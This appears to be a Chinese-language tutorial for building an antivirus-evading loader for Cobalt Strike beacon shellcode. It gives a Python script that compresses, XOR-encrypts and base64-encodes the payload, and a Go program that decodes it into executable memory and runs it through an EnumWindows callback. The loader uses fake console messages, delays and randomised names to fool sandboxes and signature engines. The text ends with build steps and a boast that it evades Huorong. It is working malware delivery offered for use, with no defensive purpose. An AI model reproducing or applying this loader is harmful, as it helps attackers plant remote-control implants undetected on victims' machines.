思路是对shellcode进行加密后绕过
首先对shellcode进行压缩,打乱原始特征,然后进行异或加密,最后进行base64编码,再对XOR加密的key进行混淆,避免key直接被反编译查询出来
| 技术点 | 意义 |
|---|---|
| gzip + XOR + base64 | 多层加密,隐藏 payload 字节特征 |
| Key 混淆表达式 | 避免静态查杀抓到“0x4B”等关键常量 |
| 回调执行(EnumWindows) | 绕过传统行为沙箱(比 CreateThread 更隐蔽) |
| 控制台打印 + Sleep | 伪装正常行为,干扰行为分析引擎 |
| 变量名随机化 | 避免 YARA/规则引擎命中 loader 结构 |
首先使用cobalt strike生成一个beacon.bin文件,这个就不教了,很基础
然后放到和下面的python文件在同目录下,直接运行这个python文件,你会获得一个加密之后的shellcode
import gzip
import base64
import os
def xor_encrypt(data: bytes, key: int) -> bytes:
return bytes([b ^ key for b in data])
def main():
input_file = "beacon.bin"
output_file = "shellcode.txt"
xor_key = 0x4B
xor_mask = 0x7A
xor_key_expr = xor_key ^ xor_mask
if not os.path.exists(input_file):
print(f"[!] 文件 {input_file} 不存在,请将 beacon.bin 放在脚本同目录下。")
return
with open(input_file, "rb") as f:
raw = f.read()
compressed = gzip.compress(raw)
encrypted = xor_encrypt(compressed, xor_key)
encoded = base64.b64encode(encrypted).decode()
# 写入为 Go 声明片段
with open(output_file, "w") as f:
f.write(f'var shellcodeEncoded = "{encoded}"\n')
f.write(f'var xorKeyMask byte = 0x{xor_mask:02X}\n')
f.write(f'var xorKey byte = xorKeyMask ^ 0x{xor_key_expr:02X}\n')
print(f"[+] 加密完成,保存至 {output_file}")
if __name__ == "__main__":
main()会生成下面这样的加密后的文件
然后我们直接复制所有,放到下面的go文件中我标注的中文位置中
package main
import (
"bytes"
"compress/gzip"
"encoding/base64"
"fmt"
"syscall"
"time"
"unsafe"
)
var (
user32 = syscall.NewLazyDLL("user32.dll")
enumWindows = user32.NewProc("EnumWindows")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
virtualAlloc = kernel32.NewProc("VirtualAlloc")
rtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)
var (
复制到这里!!!!!
)
func BMoOekfc(data []byte, key byte) []byte {
for i := 0; i < len(data); i++ {
data[i] ^= key
}
return data
}
func fbCWkPgt(hwnd syscall.Handle, lparam uintptr) uintptr {
go func() {
fmt.Println("[*] 正在解码数据...")
decoded, _ := base64.StdEncoding.DecodeString(shellcodeEncoded)
xored := BMoOekfc(decoded, xorKey)
r, _ := gzip.NewReader(bytes.NewReader(xored))
buf := new(bytes.Buffer)
buf.ReadFrom(r)
r.Close()
shellcode := buf.Bytes()
addr, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), 0x3000, 0x40)
rtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
syscall.Syscall(addr, 0, 0, 0, 0)
}()
return 1
}
func main() {
fmt.Println("[*] 启动初始化...")
time.Sleep(2 * time.Second)
enumWindows.Call(syscall.NewCallback(fbCWkPgt), 0)
fmt.Println("[*] 正在处理中...")
time.Sleep(10 * time.Second)
}这里有一些小问题,就是生成的代码记得修改一下加密后的最后两行代码
这里的两个var需要直接去掉,否则编译出错
最后我们直接编译这个go文件即可
go build -ldflags="-s -w -H windowsgui" -o bypass.exe bypass.go
最后我们可以结合信息伪装进行装饰
火绒是可过的,目前只被这三个查杀。


